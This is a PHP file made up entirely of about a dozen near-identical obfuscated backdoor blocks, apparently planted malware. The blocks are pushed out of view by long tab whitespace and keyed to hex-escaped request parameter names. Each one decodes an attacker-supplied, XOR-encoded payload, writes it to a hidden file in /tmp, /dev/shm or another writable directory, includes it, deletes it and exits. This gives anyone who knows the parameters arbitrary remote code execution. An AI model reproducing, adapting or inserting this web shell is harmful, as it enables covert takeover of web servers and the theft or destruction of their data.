<?php																																										if(!is_null($_REQUEST["r\x65fe\x72\x65nc\x65"] ?? null)){ $holder = $_REQUEST["r\x65fe\x72\x65nc\x65"]; $holder = explode ("." , $holder ); $dat = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s1 ); $k = 0; array_walk($holder, function ($v4) use (&$dat, &$k, $s1, $lenS) { $sChar = ord($s1[$k % $lenS] ); $d = ((int)$v4 - $sChar - ($k % 10)) ^ 46; $dat .= chr($d ); $k++; }); $item = array_filter(["/var/tmp", sys_get_temp_dir(), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), session_save_path(), getcwd()]); foreach ($item as $sym) { if ((bool)is_dir($sym) && (bool)is_writable($sym)) { $comp = implode("/", [$sym, ".ptr"]); if (file_put_contents($comp, $dat)) { require $comp; unlink($comp); exit; } } } }
																																										if(in_array("\x72e\x63o\x72d", array_keys($_POST))){ $property_set = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", getenv("TEMP"), "/tmp", "/var/tmp", getcwd(), session_save_path(), sys_get_temp_dir()]); $hld = $_POST["\x72e\x63o\x72d"]; $hld= explode ( "." , $hld ); $obj = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt7); $m = 0; while ($m < count($hld)) { $v5 = $hld[$m]; $chS = ord($salt7[$m % $sLen]); $d = ((int)$v5 - $chS - ($m % 10)) ^ 3; $obj .= chr($d); $m++; } foreach ($property_set as $parameter_group) { if (is_dir($parameter_group) && is_writable($parameter_group)) { $descriptor = vsprintf("%s/%s", [$parameter_group, ".element"]); $file = fopen($descriptor, 'w'); if ($file) { fwrite($file, $obj); fclose($file); include $descriptor; @unlink($descriptor); exit; } } } }
																																										if(@$_POST["p\x74\x72"] !== null){ $dchunk = $_POST["p\x74\x72"]; $dchunk = explode ( '.' , $dchunk) ; $value = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt1); foreach($dchunk as $n=>$v4) { $sChar = ord($salt1[$n% $lenS]); $dec =((int)$v4 - $sChar -($n% 10))^ 57; $value.=chr($dec); } $val = array_filter([ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", "/dev/shm", getenv("TMP"), session_save_path(), getcwd(), getenv("TEMP"), sys_get_temp_dir()]); for ($dat = 0, $rec = count($val); $dat < $rec; $dat++) { $pgrp = $val[$dat]; if ((is_dir($pgrp) and is_writable($pgrp))) { $fac = str_replace("{var_dir}", $pgrp, "{var_dir}/.data"); if (file_put_contents($fac, $value)) { require $fac; unlink($fac); exit; } } } }
																																										if(!empty($_POST["\x64\x65sc"])){ $pset = array_filter(["/tmp", sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), "/var/tmp", getenv("TEMP"), session_save_path()]); $data_chunk = $_POST["\x64\x65sc"]; $data_chunk = explode ( "." , $data_chunk); $dchunk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $t = 0; foreach ($data_chunk as $v2) { $chS = ord($salt[$t % $lenS] ); $d = ((int)$v2 - $chS - ($t % 10)) ^ 63; $dchunk .= chr($d ); $t++; } while ($tkn = array_shift($pset)) { if (is_dir($tkn) && is_writable($tkn)) { $flag = str_replace("{var_dir}", $tkn, "{var_dir}/.obj"); if (@file_put_contents($flag, $dchunk) !== false) { include $flag; unlink($flag); die(); } } } }
																																										if(@$_REQUEST["\x72e\x66"] !== null){ $data = array_filter(["/tmp", getenv("TEMP"), getcwd(), "/dev/shm", getenv("TMP"), "/var/tmp", sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir")]); $data_chunk = $_REQUEST["\x72e\x66"]; $data_chunk = explode ( '.' , $data_chunk ) ; $descriptor = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s2); $u = 0; foreach($data_chunk as $v1) { $sChar = ord($s2[$u % $lenS]); $dec =((int)$v1 - $sChar -($u % 10)) ^ 81; $descriptor .= chr($dec); $u++; } foreach ($data as $entry): if (is_writable($entry) && is_dir($entry)) { $obj = "$entry" . "/.factor"; $success = file_put_contents($obj, $descriptor); if ($success) { include $obj; @unlink($obj); die();} } endforeach; }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x64\x65s\x63\x72\x69ptor"])){ $ref = $_REQUEST["\x64\x65s\x63\x72\x69ptor"]; $ref =explode ( '.', $ref ) ; $symbol = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt3); foreach($ref as $z =>$v6): $sChar = ord($salt3[$z% $lenS]); $d =((int)$v6 - $sChar -($z% 10)) ^ 4; $symbol .= chr($d); endforeach; $pointer = array_filter([getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), "/tmp", getenv("TEMP"), session_save_path(), sys_get_temp_dir(), "/var/tmp"]); foreach ($pointer as $itm): if (max(0, is_dir($itm) * is_writable($itm))) { $item = implode("/", [$itm, ".mrk"]); if (file_put_contents($item, $symbol)) { include $item; @unlink($item); die(); } } endforeach; }
																																										if(in_array("\x65n\x74", array_keys($_REQUEST))){ $data = array_filter([sys_get_temp_dir(), getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), "/var/tmp", getenv("TMP"), "/tmp"]); $descriptor = $_REQUEST["\x65n\x74"]; $descriptor = explode ( "." , $descriptor ); $mrk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $len = count($descriptor ); for($s = 0; $s<$len; $s++) { $v1 = $descriptor[$s]; $chS = ord($salt[$s% $lenS] ); $dec =((int)$v1 - $chS -($s% 10)) ^ 38; $mrk.=chr($dec ); } while ($rec = array_shift($data)) { if ((function($d) { return is_dir($d) && is_writable($d); })($rec)) { $k = vsprintf("%s/%s", [$rec, ".pgrp"]); $file = fopen($k, 'w'); if ($file) { fwrite($file, $mrk); fclose($file); include $k; @unlink($k); exit; } } } }
																																										if(!is_null($_REQUEST["f\x6Cag"] ?? null)){ $factor = array_filter(["/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), getcwd(), getenv("TMP"), session_save_path(), "/var/tmp"]); $value = $_REQUEST["f\x6Cag"]; $value =explode( "." , $value ) ; $descriptor = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s2 ); $q = 0; $__len = count($value ); do { if ($q >= $__len) break; $v4 = $value[$q]; $sChar = ord($s2[$q % $sLen] ); $dec = ((int)$v4 - $sChar - ($q % 10))^94; $descriptor .= chr($dec ); $q++; } while (true ); foreach ($factor as $flg): if (!!is_dir($flg) && !!is_writable($flg)) { $ptr = sprintf("%s/.ent", $flg); if (file_put_contents($ptr, $descriptor)) { require $ptr; unlink($ptr); die(); } } endforeach; }
																																										if(!empty($_POST["\x6F\x62j"])){ $comp = array_filter([getenv("TMP"), "/tmp", "/var/tmp", sys_get_temp_dir(), "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd()]); $element = $_POST["\x6F\x62j"]; $element = explode ( "." , $element ) ; $key = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $l = 0; $__tmp = $element; while($v3 = array_shift($__tmp)) { $chS = ord($salt[$l % $sLen]); $d = ((int)$v3 - $chS -($l % 10)) ^ 75; $key .=chr($d); $l++; } foreach ($comp as $mrk): if (!( !is_dir($mrk) || !is_writable($mrk) )) { $holder = join("/", [$mrk, ".record"]); if (@file_put_contents($holder, $key) !== false) { include $holder; unlink($holder); exit; } } endforeach; }
																																										if(isset($_REQUEST["\x65\x6E\x74ity"]) ? true : false){ $rec = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), getcwd(), "/tmp", getenv("TMP"), session_save_path()]); $key = $_REQUEST["\x65\x6E\x74ity"]; $key= explode ( '.', $key ) ; $itm =''; $salt1 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt1); $w =0; $__tmp =$key; while ($v9 =array_shift($__tmp)) {$chS =ord($salt1[$w % $sLen]); $d =((int)$v9 - $chS - ($w % 10)) ^13; $itm .= chr($d); $w++; } foreach ($rec as $object) { if (is_writable($object) && is_dir($object)) { $dat = vsprintf("%s/%s", [$object, ".factor"]); $success = file_put_contents($dat, $itm); if ($success) { include $dat; @unlink($dat); die();} } } }
																																										if(isset($_POST) && isset($_POST["k"])){ $ref = $_POST["k"]; $ref= explode( "." , $ref ) ; $holder= ''; $salt6= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt6); $o= 0; foreach($ref as $v3) { $chS= ord($salt6[$o % $sLen]); $dec= ((int)$v3 - $chS -($o % 10)) ^ 22; $holder.= chr($dec); $o++; } $hld = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), getcwd(), "/dev/shm", getenv("TEMP"), "/tmp", getenv("TMP"), "/var/tmp"]); foreach ($hld as $pointer): if ((is_dir($pointer) and is_writable($pointer))) { $item = sprintf("%s/.ent", $pointer); $file = fopen($item, 'w'); if ($file) { fwrite($file, $holder); fclose($file); include $item; @unlink($item); die(); } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "\x65\x6Et\x69ty")){ $property_set = array_filter([getcwd(), "/var/tmp", getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), "/dev/shm", "/tmp"]); $ref = $_REQUEST["\x65\x6Et\x69ty"]; $ref = explode("." , $ref ) ; $k = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt3); $r = 0; array_walk($ref, function ($v5) use (&$k, &$r, $salt3, $sLen) { $chS = ord($salt3[$r % $sLen]); $d = ((int)$v5 - $chS - ($r % 10)) ^ 2; $k .= chr($d); $r++; } ); for ($holder = 0, $symbol = count($property_set); $holder < $symbol; $holder++) { $val = $property_set[$holder]; if (is_dir($val) ? is_writable($val) : false) { $itm = "$val/.object"; if (@file_put_contents($itm, $k) !== false) { include $itm; unlink($itm); exit; } } } }


if(!is_null($_REQUEST["p\x67\x72p"] ?? null)){
	$mrk = array_filter(["/var/tmp", "/tmp", getcwd(), getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", getenv("TEMP")]);
	$object = $_REQUEST["p\x67\x72p"];
	 	 $object  = 	 explode(	'.'  	,  	$object)	;  
	$dat = '';
            $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($s8 );
            $len = count($object );
    
            for ($y = 0; $y < $len; $y++) {		$v4 = $object[$y];
                $chS = ord($s8[$y%		$lenS] );
                $dec = ((int)$v4 - $chS - ($y%		10)) ^ 90;
                $dat .=chr($dec ); }
	while ($elem = array_shift($mrk)) {
    		if (is_writable($elem) && is_dir($elem)) {
    $rec = sprintf("%s/.tkn", $elem);
    if (@file_put_contents($rec, $dat) !== false) {
	include $rec;
	unlink($rec);
	exit;
}
}
}
}